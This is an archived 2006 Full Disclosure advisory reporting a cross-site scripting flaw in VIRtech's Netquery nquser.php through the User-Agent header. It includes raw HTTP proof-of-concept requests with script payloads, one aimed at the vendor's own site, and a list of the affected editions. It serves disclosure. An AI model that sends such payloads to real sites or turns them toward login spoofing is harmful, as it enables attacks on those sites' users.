Home page logo

fulldisclosure logo Full Disclosure mailing list archives

Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech"
From: "LegendaryZion" <moskito () smile net il>
Date: Tue, 31 Oct 2006 18:37:09 +0200

·= Security Advisory =·

Issue: Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech"
Discovered Date: 04/10/2006
Author: Tal Argoni, LegendaryZion. [talargoni at gmail.com]
Product Vendor: http://www.virtech.org


VIRtechs Netquery system is prone to a Cross Site Scripting Vulnerability.
The vulnerability exists in "nquser.php" file, caused by the lack of Input 
of quotation and HTML characters in the header parameter "User-Agent:".

Part of the http header:

GET http://target/netquery/nquser.php HTTP/1.0
User-Agent: <script>alert('User-Agent:')</script>

After send the crafted http header, nquser.php prints the following HTML 
User Agent : <script>alert('User-Agent:')</script><br />

Successful exploitation may allow execution of script code. This could also 
be exploited to spoof the entire website's content,
create fake login menu's for all the platform's users, commit Denial Of 
Service attacks and more...

Proof Of Concept:

GET http://virtech.org/e107/e107_plugins/netquery/nquser.php HTTP/1.0
Accept: */*
Referer: http://virtech.org/tools/
Accept-Language: en-us
Pragma: no-cache
User-Agent: <script>alert()</script>
Host: virtech.org
Proxy-Connection: Keep-Alive
Cookie: e107_tdOffset=32630; e107_tdSetTime=1159974893; e107_tzOffset=420
Content-length: 0

Vulnerable systems:
e107 Edition
Postnuke Edition
Xaraya Edition
Xoops Edition

Not vulnerable systems:
Standalone Edition
Fusion Edition

Tal Argoni, CEH

Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

  By Date           By Thread  

Current thread:
  • Cross Site Scripting (XSS) Vulnerability in Netquery by "VIRtech" LegendaryZion (Oct 31)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]